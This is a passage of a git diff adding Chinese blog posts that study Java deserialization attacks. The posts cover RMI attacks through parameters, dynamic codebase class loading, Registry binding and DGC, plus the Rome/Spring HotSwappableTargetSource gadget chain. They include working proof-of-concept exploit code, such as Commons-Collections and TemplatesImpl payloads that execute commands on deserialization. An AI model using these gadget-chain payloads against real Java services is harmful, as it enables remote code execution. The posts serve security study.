方法,所以在参数传递到服务端之前就修改了它,要查找的方法又没变,最终得出的 hash 值在服务端又能找到对应的方法,所以造成了参数反序列化。 + +实际上,服务端调用 UnicastServerRef 的 dispatch 方法来处理客户端的请求,UnicastServerRef 的 dispatch 方法又调用 UnicastRef 的 unmarshalValue 方法来反序列化参数: + +![](https://changeyourway.github.io/images/image-20240709151401926.png) + +服务端实际反序列化参数的处理在 UnicastRef 的 unmarshalValue 方法中: + +![](https://changeyourway.github.io/images/image-20240709151518462.png) + +可以看到,除了基本类型之外,其他类型的参数都会在这里被反序列化,所以只要服务端提供的方法参数不是基本类型,理论上都可以用这么一种攻击方式。 + +###### 总结 + +这种方式虽然可行,但也存在一定的局限性: + +1. 反序列化攻击,要求服务端有可利用的反序列化链,比如 CC 依赖; +2. 实际应用场景中,攻击者并不知道 RMI 服务端提供了哪些方法,方法的参数是什么类型,攻击者也许可以通过工具探测得到服务的名称,但还是无法利用。除非得到源码,当然在这种情况下,攻击者通常会优先选用其他攻击方式了。 +3. 服务端提供的方法参数不是基本类型 + +#### 动态类加载 + +RMI 有一个重要的特性,就是动态类加载机制,当本地 ClassPath 中无法找到相应的类时,会在指定的 codebase 里加载 class。 + +若要开启动态类加载,服务端需要满足以下几个条件: + +1. 需要启动 RMISecurityManager 。Java SecurityManager 默认不允许远程类加载。 +2. 需要配置 java.security.policy 。 +3. 属性 java.rmi.server.useCodebaseOnly 的值必须为 false 。但是 JDK 6u45、7u21 之后,java.rmi.server.useCodebaseOnly 的默认值是 true 。当该值为 true 时,将禁用自动加载远程类文件,仅从 CLASSPATH 和当前虚拟机的 java.rmi.server.codebase 指定路径加载类文件,不再支持从 RMI 请求中获取 codebase 。增加了 RMI ClassLoader 的安全性。 + +我们来模拟攻击一下,由于客户端和服务端都在本地,故为了防止远程类与服务端在一起,我们将该实验分为三个项目: + +第一个项目名为 remote-class ,这个项目中实现了一个简易的服务器,并且其中存放远程类,将来作为 codebase 使用; + +第二个项目名为 java-rmi-server ,RMI 的服务端和注册中心所在的项目; + +第三个项目名为 java-rmi-client ,RMI 客户端所在的项目。 + +注:本次实验代码基于 [longofo](https://github.com/longofo) 师傅的代码改编。仓库链接为:[https://github.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms](https://github.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms) + +改编后的代码存放在:[https://github.com/ChangeYourWay/RemoteRmiTest](https://github.com/ChangeYourWay/RemoteRmiTest) ,在 jdk8u71 环境中试验成功。 + +其中,要被加载的远程类名为 ExportObject ,我们先来确保客户端和服务端都是访问不到这个类的: + +服务端并不存在 ExportObject 类,所以无法访问: + +![](https://changeyourway.github.io/images/QQ_1721211770043.png) + +客户端自定义了一个 ExportObject 类,其中没有恶意代码。这是为了方便客户端使用这个类名(理论上可以直接将远程类复制到客户端,但是这会导致客户端创建对象时,恶意代码先在客户端中执行一遍): + +![](https://changeyourway.github.io/images/QQ_1721211872446.png) + +真正的远程类在 remote-class 项目中: + +![](https://changeyourway.github.io/images/QQ_1721211268503.png) + +客户端和 codebase 处的远程类控制序列化版本号一致,避免反序列化失败。 + +服务端代码: + +``` +// RMIServer2.java +package com.miaoji.javarmi; + +import java.rmi.RMISecurityManager; +import java.rmi.registry.LocateRegistry; +import java.rmi.registry.Registry; +import java.rmi.server.UnicastRemoteObject; + +public class RMIServer { + public static void main(String[] args) { + try { + try { + // 配置 java.security.policy + System.setProperty("java.security.policy", RMIServer.class.getClassLoader().getResource("policyfile.txt").toString()); + // 配置 Java SecurityManager + System.setSecurityManager(new RMISecurityManager()); + // 设置 java.rmi.server.useCodebaseOnly 为 false + System.setProperty("java.rmi.server.useCodebaseOnly", "false"); + } catch (Exception e) { + e.printStackTrace(); + } + + // 创建 Registry + Registry registry = LocateRegistry.createRegistry(1099); + // 实例化服务端远程对象 + ServicesImpl obj = new ServicesImpl(); + // 没有继承 UnicastRemoteObject 时需要使用静态方法 exportObject 处理 + Services services = (Services) UnicastRemoteObject.exportObject(obj, 0); + // 绑定远程对象到 Registry + registry.rebind("Services", services); + + System.out.println("java RMI registry created. port on 1099..."); + + } catch (Exception e) { + e.printStackTrace(); + } + } +} +``` + +值得注意的是 java.security.policy 需要在 Java SecurityManager 之前配置,否则会报拒绝访问的错误: + +![](https://changeyourway.github.io/images/QQ_1721212058559.png) + +Services 接口的方法参数是 Message 类型,Message 是服务端自定义的类: + +![](https://changeyourway.github.io/images/QQ_1721213910927.png) + +客户端代码: + +``` +package com.miaoji.javarmi; + +import com.miaoji.remoteclass.ExportObject; +import java.rmi.registry.LocateRegistry; +import java.rmi.registry.Registry; + +public class RMIClient { + public static void main(String[] args) throws Exception { + System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/"); + Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099); + // 获取远程对象的引用 + Services services = (Services) registry.lookup("Services"); + ExportObject exportObject = new ExportObject(); + exportObject.setMessage("hahaha"); + + services.sendMessage(exportObject); + } +} +``` + +由客户端设置好 codebase 然后传递给服务端。codebase 在客户端和服务端是流动共享的。 + +客户端的 ExportObject 类继承了服务端的原有类 Message ,这样才能顺利作为 Services 服务的 sendMessage 方法的参数传输,事实上,如果这里的方法参数是其他类型,比如 ArrayList 类型,那么同样可以让这个 ExportObject 继承 ArrayList 。 + +codebase 端代码: + +``` +package com.miaoji.remoteclass; + +import com.sun.net.httpserver.HttpExchange; +import com.sun.net.httpserver.HttpHandler; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.net.InetSocketAddress; + +public class HttpServer implements HttpHandler { + public void handle(HttpExchange httpExchange) { + try { + System.out.println("new http request from " + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI()); + InputStream inputStream = HttpServer.class.getResourceAsStream(httpExchange.getRequestURI().getPath()); + ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); + while (inputStream.available() > 0) { + byteArrayOutputStream.write(inputStream.read()); + } + + byte[] bytes = byteArrayOutputStream.toByteArray(); + httpExchange.sendResponseHeaders(200, bytes.length); + httpExchange.getResponseBody().write(bytes); + httpExchange.close(); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public static void main(String[] args) throws IOException { + com.sun.net.httpserver.HttpServer httpServer = com.sun.net.httpserver.HttpServer.create(new InetSocketAddress(8000), 0); + + System.out.println("String HTTP Server on port: 8000"); + httpServer.createContext("/", new HttpServer()); + httpServer.setExecutor(null); + httpServer.start(); + } +} +``` + +主要是开启一个 HTTP 服务器,监听 8000 端口。这段代码运行后是可以在公网访问到当前机器的 8000 端口的。它会设置当前项目的根路径为网站根路径: + +![](https://changeyourway.github.io/images/QQ_1721212591316.png) + +确保 remote-class 中包含了远程类,先运行 codebase 端,再运行服务端,最后运行客户端,成功弹出计算器: + +![](https://changeyourway.github.io/images/QQ_1721212763834.png) + +由于服务端和客户端并不能直接访问远程类,所以这个是服务端远程加载类的结果。 + +###### 总结 + +动态类加载的方式限制很多,需要服务器做安全策略文件配置,设置安全管理器,以及存在 Jdk 版本的限制,需要服务器手动设置 useCodebaseOnly 为 false 。除此之外,这种方式仍然需要知道 RMI 服务提供了哪些方法,方法的参数类型是什么。所以仍然比较鸡肋。 + +#### 本地重写类 + +大致就是如果 RMI 服务的方法参数是某个类,比如 A 类,那么我依然想利用 CC6 链,可以在本地重写 HashMap,让 HashMap 继承 A 类,然后将 CC6 最终得到的 HashMap 对象作为参数传入。 + +理论上可以在本地找到 HashMap 的类文件直接修改: + +![](https://changeyourway.github.io/images/QQ_1721216307557.png) + +但是这样可能出现各种报错,或者是遇到一个类不能直接继承多个类的问题。 + +### 攻击 Registry 端 + +考虑服务端和 Registry 端不在同一端的情况,前面分析过了,服务端调用 bind/rebind 方法绑定服务对象的时候是将该对象序列化发送到 Registry 端,Registry 端最终在 RegistryImpl\_Skel 的 dispatch 方法中反序列化。那么如果 Server 端向 Registry 端输送一个恶意的对象,就可以实现反序列化攻击了。 + +考虑到 Server 端绑定对象时要求对象继承 Remote 类,我们创建一个继承了 Remote 类的动态代理即可,创建代理选择使用 AnnotationInvocationHandler 类。并将 getEvilClass() 返回的 HashMap 对象封装进去。AnnotationInvocationHandler 正是 CC1 链的入口类。 + +测试代码如下: + +``` +package Server; + +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import javax.management.remote.rmi.RMIServer; +import java.lang.annotation.Target; +import java.lang.reflect.*; +import java.rmi.Naming; +import java.rmi.RMISecurityManager; +import java.rmi.Remote; +import java.rmi.RemoteException; +import java.rmi.registry.LocateRegistry; +import java.rmi.registry.Registry; +import java.util.HashMap; +import java.util.Map; + +public class RemoteServer { + + public static HashMap getEvilClass() throws NoSuchFieldException, IllegalAccessException { + // 获取包含执行类的 ChainedTransformer 对象 + Transformer[] transformers = new Transformer[]{ + // 将传入参数固定为 Runtime.class + new ConstantTransformer(Runtime.class), + new InvokerTransformer + ("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), + new InvokerTransformer + ("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), + new InvokerTransformer + ("exec", new Class[]{String.class}, new Object[]{"calc"}) + }; + ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); + + // 新建一个 Map 对象,无关紧要,只是作为参数传入 + Map hashMap = new HashMap<>(); + + // 初始化利用链 LazyMap + Map lazymap = LazyMap.decorate(hashMap, new ConstantTransformer(1)); + + // 初始化利用链 TiedMapEntry ,第二个参数为 key 值,先随便传一个 + TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "key"); + + // 初始化利用链 HashMap + HashMap map = new HashMap<>(); + map.put(tiedMapEntry, "test"); + + // 删除 lazymap 对象中的 key 值 + lazymap.remove("key"); + + // 反射修改 lazymap 对象的 factory 属性 + Class lazymapClass = lazymap.getClass(); + Field factory = lazymapClass.getDeclaredField("factory"); + factory.setAccessible(true); + factory.set(lazymap, chainedTransformer); + + return map; + } + + public static void main(String[] args) throws Exception { + // 将 RMI 服务注册到 1099 端口 + LocateRegistry.createRegistry(1099); + + Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); + Constructor constructor = c.getDeclaredConstructors()[0]; + constructor.setAccessible(true); + + HashMap map = getEvilClass(); + HashMap map1 = new HashMap<>(); + map1.put("a", map); + + InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map1); + + Remote remote = (Remote) Proxy.newProxyInstance( + RemoteServer.class.getClassLoader(), + new Class[]{Remote.class}, + invocationHandler); + + // Get the registry from a remote host + Registry registry = LocateRegistry.getRegistry("localhost", 1099); + // Bind the remote object in the registry + registry.rebind("Evil", remote); + } +} +``` + +### 攻击 Client 端 + +常见于 lookup 参数可控的情况,如果说 Server 端和 Registry 端可控,那么只需要绑定一个恶意对象,那么客户端一旦远程加载了,就会反序列化这个对象并造成代码执行。 + +比如服务端定义一个恶意对象: + +![](https://changeyourway.github.io/images/QQ_1721632318859.png) + +然后服务端绑定这个恶意对象。 + +客户端远程加载此对象并调用其 function 方法时就会造成命令执行: + +![](https://changeyourway.github.io/images/QQ_1721632447996.png) + +也可以将命令写在静态代码块里面,不过那样会让服务端也执行一次命令。 + +除此之外,服务端也可以指定一个 codebase 让客户端去指定的地址加载恶意对象,从而触发客户端反序列化。 + +### 分布式垃圾回收 DGC + +#### 了解分布式垃圾回收 + +RMI 子系统实现基于引用计数的“分布式垃圾回收”(DGC,Distributed Garbage Collection),以便为远程服务器对象提供自动内存管理设施。启动一个 RMI 服务,就会伴随着启动 DGC 服务端。 + +###### 工作流程 + +1. **引用计数**: + - 当客户端获取远程对象的引用时,客户端向服务器发送一个“引用添加”消息,增加该远程对象的引用计数。 + - 当客户端不再需要远程对象时,客户端向服务器发送一个“引用移除”消息,减少该远程对象的引用计数。 + - 服务器根据引用计数判断该远程对象是否仍然被引用,如果引用计数为 0 ,则可以回收该对象。 +2. **租约机制**: + - 为了防止客户端异常退出或网络分区导致引用计数永久不减的情况,RMI 引入了租约机制。 + - 当客户端获取远程对象引用时,除了增加引用计数外,还会请求一个租约(Lease)。租约有一个固定的期限,通常是 10 分钟。 + - 客户端需要在租约到期前续约,以维持对远程对象的引用。如果客户端没有续约,服务器会认为客户端不再需要该对象,并减少引用计数。 +3. **垃圾回收器(GC)线程**: + - 服务器中运行一个 GC 线程,负责定期检查所有远程对象的引用计数和租约状态。 + - 如果发现某个远程对象的引用计数为 0 且租约已过期,则回收该对象。 + +###### 涉及的接口和方法 + +RMI 定义了一个 java.rmi.dgc.DGC 接口,提供了两个方法 dirty 和 clean: + +- 当客户机创建(序列化)远程引用时,会在服务器端 DGC 上调用 dirty() 方法,请求一个租约,表示远程对象的使用期限。如果客户端想续租,则需要再调用一次 dirty() 方法。 +- 当客户机完成远程引用后,它会调用对应的 clean() 方法回收远程对象的引用。 + +DGC 接口有两个实现类,分别是 sun.rmi.transport.DGCImpl 以及 sun.rmi.transport.DGCImpl\_Stub ,同时还定义了 sun.rmi.transport.DGCImpl\_Skel 。 + +这个命名方式与之前的注册中心类似,实际上功能也是类似。正如 RegistryImpl\_Skel 是注册中心自己保留的骨架(代理对象),而 RegistryImpl\_Stub 是用来分发出去保留在远程客户端和服务端的存根,DGC 也一样,DGCImpl\_Skel 是服务端保存的骨架,DGCImpl\_Stub 则是保留在远程 Registry 端和客户端的存根。RegistryImpl\_Skel 的 dispatch 方法用来处理 RMI 相关的请求,DGCImpl\_Skel 的 dispatch 方法同样用于处理 DGC 相关的请求。 + +DGCImpl\_Skel 的 dispatch 方法,依旧通过 Java 原生的序列化和反序列化来处理对象: + +![](https://changeyourway.github.io/images/QQ_1721654972488.png) + +### RMI 原生反序列化链 + +RMI 中的一些类可以用来触发反序列化,在 ysoserial 中就有利用了这些链子的 poc ,所以了解它们的工作流程对于理解 ysoserial 中的代码很有帮助。 + +#### UnicastRemoteObject 类 + +java.rmi.server.UnicastRemoteObject 类通常是远程调用接口实现类的父类,如果不作为父类的话,就要直接使用其静态方法 exportObject 来创建动态代理并随机监听本机端口以提供服务。所以 UnicastRemoteObject 会经常被反序列化,调用其 readObject 方法。 + +我们来关注 UnicastRemoteObject 的 readObject 方法: + +![](https://changeyourway.github.io/images/QQ_1723145308331.png) + +这里调用了 UnicastRemoteObject 的 reexport 方法,跟进 reexport 方法看看: + +![](https://changeyourway.github.io/images/QQ_1723145501182.png) + +可以看到最终还是调用到 UnicastRemoteObject 的 exportObject 方法。在上一篇文章中分析过,这个方法会开启 JRMP 监听。 + +#### UnicastRef 类 + +sun.rmi.server.UnicastRef 类实现了 Externalizable 接口,因此在其反序列化时,会调用 readExternal 方法来反序列化。 + +UnicastRef 的 readExternal 方法调用 LiveRef 的 read 方法来获取其 ref 属性的值: + +![](https://changeyourway.github.io/images/QQ_1722429509640.png) + +LiveRef 的 read 方法调用 DGCClient 的 registerRefs 方法: + +![](https://changeyourway.github.io/images/QQ_1722429678813.png) + +DGCClient 的 registerRefs 方法: + +![](https://changeyourway.github.io/images/QQ_1722429748571.png) + +var2 是 DGCClient 的内部类 EndpointEntry 的 lookup 方法的返回值,也是 DGCClient 的内部类 EndpointEntry 对象,所以这里调用 DGCClient$EndpointEntry#registerRefs 方法。 + +DGCClient$EndpointEntry#registerRefs 方法又继续调用 DGCClient$EndpointEntry#makeDirtyCall 方法: + +![](https://changeyourway.github.io/images/QQ_1722430065789.png) + +DGCClient$EndpointEntry#makeDirtyCall 方法调用其成员属性 dgc 的 dirty 方法: + +![](https://changeyourway.github.io/images/QQ_1722431232799.png) + +调试起来发现其实是调用的 DGCImpl\_Stub 的 dirty 方法: + +![](https://changeyourway.github.io/images/QQ_1722431161531.png) + +#### RemoteObject 类 + +RemoteObject 是几乎所有 RMI 远程调用类的父类,它继承了 java.io.Serializable 。但 RemoteObject 是个抽象类,我们通常用到它的子类来进行反序列化,比如 ysoserial 使用 RemoteObjectInvocationHandler 代理类作为反序列化的入口点。 + +我们来关注 RemoteObject 的 readObject 方法: + +![](https://changeyourway.github.io/images/image-20240731202114052.png) + +这里会调用 ref 的 readExternal 方法,那么可以将成员变量 ref 赋值成一个 UnicastRef 对象。 + +由于成员变量 ref 被 transient 修饰,不能直接被序列化: + +``` +transient protected RemoteRef ref; +``` + +所以在 RemoteObject 的序列化处理逻辑中是先获取 ref 的类名再单独序列化,反序列化时再构造内部引用类名并加载相应的类。 + +RemoteObject 的 writeObject 方法: + +![](https://changeyourway.github.io/images/QQ_1722429062866.png) + +## 总结 + +本文用来扩展针对 RMI 的攻击思路,大部分真正用到实践上的攻击还是针对 DGC 的攻击,在下一篇文章中我会详细分析 ysoserial 中针对 DGC 的攻击模块。 + +## 参考文章 + +[Java RMI 攻击由浅入深](https://su18.org/post/rmi-attack/#2-%E5%8A%A8%E6%80%81%E7%B1%BB%E5%8A%A0%E8%BD%BD) + +[Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上)](https://paper.seebug.org/1091/#java-rmi_3) diff --git a/books/漏洞篇 - Rome 链之 HotSwappableTargetSource 利用链.md b/books/漏洞篇 - Rome 链之 HotSwappableTargetSource 利用链.md new file mode 100644 index 0000000..8a4ac86 --- /dev/null +++ b/books/漏洞篇 - Rome 链之 HotSwappableTargetSource 利用链.md @@ -0,0 +1,348 @@ +# 漏洞篇 - Rome 链之 HotSwappableTargetSource 利用链 +> 2024-06-07 +> 来源:https://changeyourway.github.io/2024/06/07/Java%20%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E7%AF%87-Rome%E9%93%BE%E4%B9%8BHotSwappableTargetSource%E9%93%BE/ + +HotSwappableTargetSource 是在 Spring AOP 中出现的一个类。作用是可以在代理 bean 运行过程中,动态更新实际 bean 对象。HotSwappableTargetSource 类实现了 TargetSource 接口。对外暴露 getTarget 方法,提供真正的 target 对象。再说的明白一点,HotSwappableTargetSource 是对真正 target 对象的封装。在 Spring 的源码中,体现在 JdkDynamicAopProxy 中的 invoke 方法中。 + +## HotSwappableTargetSource 利用链 + +spring 原生的 toString 利用链。 + +调用链如下: + +- HashMap.readObject +- HashMap.putVal +- HotSwappableTargetSource.equals +- XString.equals +- ToStringBean.toString + +### HotSwappableTargetSource 介绍 + +HotSwappableTargetSource 是在 Spring AOP 中出现的一个类。作用是可以在代理 bean 运行过程中,动态更新实际 bean 对象。HotSwappableTargetSource 类实现了 TargetSource 接口。对外暴露 getTarget 方法,提供真正的 target 对象。再说的明白一点,HotSwappableTargetSourc 是对真正 target 对象的封装。在 Spring 的源码中,体现在 JdkDynamicAopProxy 中的 invoke 方法中。 + +HotSwappableTargetSource 类比较特殊的一点是它的 hashcode 方法,无论这个类的对象属性中写入了什么,调用这个对象的 hashcode 方法都会返回相同的结果: + +![](https://changeyourway.github.io/images/image-20241008161109755.png) + +这就为后面解决 hash 冲突提供了思路。 + +摘自 [HotSwappableTargetSource 的使用](https://blog.csdn.net/qq_39839075/article/details/106974967) + +### 环境搭建 + +需要导入 Spring 依赖: + +``` + + org.springframework + spring-core + 5.3.28 + + + + org.springframework + spring-beans + 5.3.28 + + + org.springframework + spring-context + 5.3.28 + +``` + +### XString#equals(Object) + +这个方法会调用参数 obj2 对象的 toString() 方法: + +``` +public boolean equals(Object obj2) +{ + if (null == obj2) + return false; + + // In order to handle the 'all' semantics of + // nodeset comparisons, we always call the + // nodeset function. + else if (obj2 instanceof XNodeSet) + return obj2.equals(this); + else if(obj2 instanceof XNumber) + return obj2.equals(this); + else + // 调用 obj2 的 toString() 方法 + return str().equals(obj2.toString()); +} +``` + +所以只需要传入一个 ToStringBean 对象即可。 + +### HotSwappableTargetSource#equals(Object) + +HotSwappableTargetSource 的 equals 方法会调用其成员属性 target 的 equals 方法: + +``` +@Override +public boolean equals(Object other) { + return (this == other || (other instanceof HotSwappableTargetSource && + this.target.equals(((HotSwappableTargetSource) other).target))); +} +``` + +this.target 可以在构造方法中赋值: + +``` +public HotSwappableTargetSource(Object initialTarget) { + Assert.notNull(initialTarget, "Target object must not be null"); + this.target = initialTarget; +} +``` + +接下来我们需要对这段代码中的判断逻辑进行一个分析: + +- `this == other`:首先检查 this 和 other 是否是同一个对象引用。如果是,直接返回 true。 +- `other instanceof HotSwappableTargetSource`:检查 other 是否是 HotSwappableTargetSource 对象,如果不是,则整个表达式短路,返回 false。 +- `this.target.equals(((HotSwappableTargetSource) other).target)`:将 other 强制转换为 HotSwappableTargetSource 类型,由于前面的 instanceof 检查已经保证了 other 确实是 HotSwappableTargetSource 对象,这个转换是没问题的,最后调用 equals 方法比较 this 对象的 target 属性与 other 对象的 target 属性是否相等。 + +所以这个方法的参数 other 需要是一个 HotSwappableTargetSource 对象,且 other 的 target 属性值是 ToStringBean 对象。而 this.target 需要是一个 XString 对象。 + +### HashMap#putVal(int, K, V, boolean, boolean) + +HashMap 的 putVal 方法会调用参数 key 的 equals 方法: + +``` +final V putVal(int hash, K key, V value, boolean onlyIfAbsent, + boolean evict) { + Node[] tab; Node p; int n, i; + if ((tab = table) == null || (n = tab.length) == 0) + n = (tab = resize()).length; + if ((p = tab[i = (n - 1) & hash]) == null) + tab[i] = newNode(hash, key, value, null); + else { + Node e; K k; + if (p.hash == hash && + ((k = p.key) == key || (key != null && key.equals(k)))) // 调用 key 的 equals 方法 + e = p; + else if (p instanceof TreeNode) + e = ((TreeNode)p).putTreeVal(this, tab, hash, key, value); + else { + for (int binCount = 0; ; ++binCount) { + if ((e = p.next) == null) { + p.next = newNode(hash, key, value, null); + if (binCount >= TREEIFY_THRESHOLD - 1) // -1 for 1st + treeifyBin(tab, hash); + break; + } + if (e.hash == hash && + ((k = e.key) == key || (key != null && key.equals(k)))) + break; + p = e; + } + } + if (e != null) { // existing mapping for key + V oldValue = e.value; + if (!onlyIfAbsent || oldValue == null) + e.value = value; + afterNodeAccess(e); + return oldValue; + } + } + ++modCount; + if (++size > threshold) + resize(); + afterNodeInsertion(evict); + return null; +} +``` + +值得注意的是,这里要想调用到 key.equals(k) ,需要经过一些判断。 + +这里在将传入的键值对存入 Node\[\] tab 数组时,是这样计算下标的:tab\[i = (n - 1) & hash\],也就是说下一个键值对应该是插在下标为 i 的地方,如果这个下标为 i 的地方没有值,则插入,但如果要插入的键值对的键和已经存在的键相同,那么就会造成 hash 冲突,进入判断,导致 key.equals(k) 执行。 + +在上一步的分析中我们知道 HotSwappableTargetSource 的 equals 方法会调用其成员属性 target 的 equals 方法,而 HotSwappableTargetSource 的 equals 方法的参数也需要是一个 HotSwappableTargetSource 对象,为了构造这个条件,那么: + +key.equals(k) 这个式子中的 key 和 k 都需要是 HotSwappableTargetSource 对象,且 key.target 是一个 XString 对象,k.target 是一个 ToStringBean 对象。 + +在这里的 hash 冲突中,k 是已经存在于数组中的 key ,而 key 是传入的,所以 k 对应的键值对要先被 put 进去,然后再 put key对应的键值对。 + +如下所示,h1.target 是一个 ToStringBean 对象,h2.target 是一个 XString 对象: + +``` +hashMap.put(h1, "test1"); +hashMap.put(h2, "test2"); +``` + +**反序列化调试** + +第一次进入 putval 方法时插入的下标为 2 : + +![](https://changeyourway.github.io/images/image-20240611105147293.png) + +第二次进入 putval 方法时正好取到了这个 2 : + +![](https://changeyourway.github.io/images/image-20240611105403169.png) + +可以看到 i 经过 hash 计算后值是 2 ,所以 p 就取到了下标为 2 的元素,然后一对比,发现两个键值对 hash 相同,但是两个键值对的 key 又不是同一个地址引用( == 比较内存地址是否相同),所以就调用到了 key.equals(k) 。 + +然后就是一些疑问的解答: + +为什么第二次调用 putval 这个下标 i 正好取到上一个插入的下标呢? + +猜测这是 HashMap 的一种机制,HashMap 中不允许有重复的键,如果插入的两个键值对的键相同,则只会对值做一个更新。这里的逻辑大概就是如果有重复的键,那么经过一系列 Hash 计算后这个下标 i 一定会取到数组中已经存在的键相同的键值对。这是因为当初存入的键值对的下标就是根据键的一些 hash 特征确定的,如果键的 hash 特征相同,再计算一次下标,取到的下标自然就相同了。(不保证一定正确) + +为什么 HashMap 要这样计算下一个要插入的键值对的下标,而不是老老实实把下标加一然后插入呢? + +如果插入的键值对按顺序排列,那么为了避免重复的键出现,每次插入都需要遍历一次集合。用这种方法计算下标,可以快速确定重复的键的位置,而不需要对集合进行遍历,但是会使得插入的下标无规律,有大量空间没有利用。这也是一种典型的用空间换时间的做法。 + +### HashMap#readObject(java.io.ObjectInputStream) + +HashMap 的 readObject 调用了 putVal 方法: + +``` +private void readObject(java.io.ObjectInputStream s) + throws IOException, ClassNotFoundException { + // Read in the threshold (ignored), loadfactor, and any hidden stuff + s.defaultReadObject(); + reinitialize(); + if (loadFactor <= 0 || Float.isNaN(loadFactor)) + throw new InvalidObjectException("Illegal load factor: " + + loadFactor); + s.readInt(); // Read and ignore number of buckets + int mappings = s.readInt(); // Read number of mappings (size) + if (mappings < 0) + throw new InvalidObjectException("Illegal mappings count: " + + mappings); + else if (mappings > 0) { // (if zero, use defaults) + // Size the table using given load factor only if within + // range of 0.25...4.0 + float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f); + float fc = (float)mappings / lf + 1.0f; + int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ? + DEFAULT_INITIAL_CAPACITY : + (fc >= MAXIMUM_CAPACITY) ? + MAXIMUM_CAPACITY : + tableSizeFor((int)fc)); + float ft = (float)cap * lf; + threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ? + (int)ft : Integer.MAX_VALUE); + @SuppressWarnings({"rawtypes","unchecked"}) + Node[] tab = (Node[])new Node[cap]; + table = tab; + + // Read the keys and values, and put the mappings in the HashMap + for (int i = 0; i < mappings; i++) { + @SuppressWarnings("unchecked") + K key = (K) s.readObject(); + @SuppressWarnings("unchecked") + V value = (V) s.readObject(); + // 调用了 putVal 方法 + putVal(hash(key), key, value, false, false); + } + } +} +``` + +### 调用栈总结 + +``` +HashMap.readObject(java.io.ObjectInputStream) +HashMap.putVal(int, K, V, boolean, boolean) +HotSwappableTargetSource.equals(Object) +XString.equals(Object) +ToStringBean#toString() +ToStringBean#toString(String) +BeanIntrospector#getPropertyDescriptors(Class) +BeanIntrospector#getPDs(Class) +TemplatesImpl#getOutputProperties() +TemplatesImpl#newTransformer() +TemplatesImpl#getTransletInstance() +TemplatesImpl#defineTransletClasses() +TransletClassLoader#defineClass() +``` + +### 构造 payload + +``` +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; +import com.sun.org.apache.xpath.internal.objects.XString; +import com.sun.syndication.feed.impl.ToStringBean; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtConstructor; +import org.springframework.aop.target.HotSwappableTargetSource; + +import javax.xml.transform.Templates; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.lang.reflect.Field; +import java.nio.file.Files; +import java.nio.file.Paths; +import java.util.HashMap; + +public class HotSwappableTargetSource_payload { + public static void main(String[] args) throws Exception { + // 获取类池 + ClassPool classPool = ClassPool.getDefault(); + // 创建一个名为 Error 的类 + CtClass error = classPool.makeClass("Error"); + // 向 Error 对象中添加静态代码块 + CtConstructor constructor = error.makeClassInitializer(); + constructor.setBody("Runtime.getRuntime().exec(\"calc\");"); + // 设置 Error 的父类为 AbstractTranslet + CtClass abstractTranslet = classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); + error.setSuperclass(abstractTranslet); + // 将 Error 对象输出成字节数组 + byte[] errorBytecode = error.toBytecode(); + + // 新建利用链 TemplatesImpl 对象 + TemplatesImpl templatesImpl = new TemplatesImpl(); + setValue(templatesImpl, "_name", "aaa"); + setValue(templatesImpl, "_bytecodes", new byte[][]{errorBytecode}); + setValue(templatesImpl, "_tfactory", new TransformerFactoryImpl()); + + // 利用 ToStringBean 的 toString() 方法调用 TemplatesImpl 的 getOutputProperties() 方法 + ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl); + + // HotSwappableTargetSource 的 equals 方法参数 other 需要是一个 HotSwappableTargetSource 对象 + // other 的 target 属性值需要是 ToStringBean 对象 + HotSwappableTargetSource h1 = new HotSwappableTargetSource(toStringBean); + // this.target 需要是一个 XString 对象 + // 为防止 put 时提前命令执行,这里先不设置,随便 new 一个 HashMap 做参数 + HotSwappableTargetSource h2 = new HotSwappableTargetSource(new HashMap<>()); + + HashMap hashMap = new HashMap<>(); + hashMap.put(h1, "test1"); + hashMap.put(h2, "test2"); + + // 反射设置 this.target 为 XString 对象 + setValue(h2, "target", new XString("test")); + + // 序列化成字节数组 + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(baos); + oos.writeObject(hashMap); + oos.flush(); + oos.close(); + + // 反序列化字节数组 + ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); + ObjectInputStream ois = new ObjectInputStream(bais); + ois.readObject(); + ois.close(); + } + + public static void setValue(Object obj, String name, Object value) throws Exception { + Field field = obj.getClass().getDeclaredField(name); + field.setAccessible(true); + field.set(obj, value); + } +} +``` + +## 参考文章 + +[Java 安全学习 —— ROME 反序列化](https://goodapple.top/archives/1145) + +[ROME 反序列化](https://www.yuque.com/5tooc3a/jas/mhy3k7vcrdteappp#amGm1) diff --git a/books/漏洞篇 - SnakeYaml 反序列化.md b/books/漏洞篇 - SnakeYaml 反序列化.md new file mode 100644 index 0000000..8ed0fc7 --- /dev/null +++ b/books/漏洞篇 - SnakeYaml 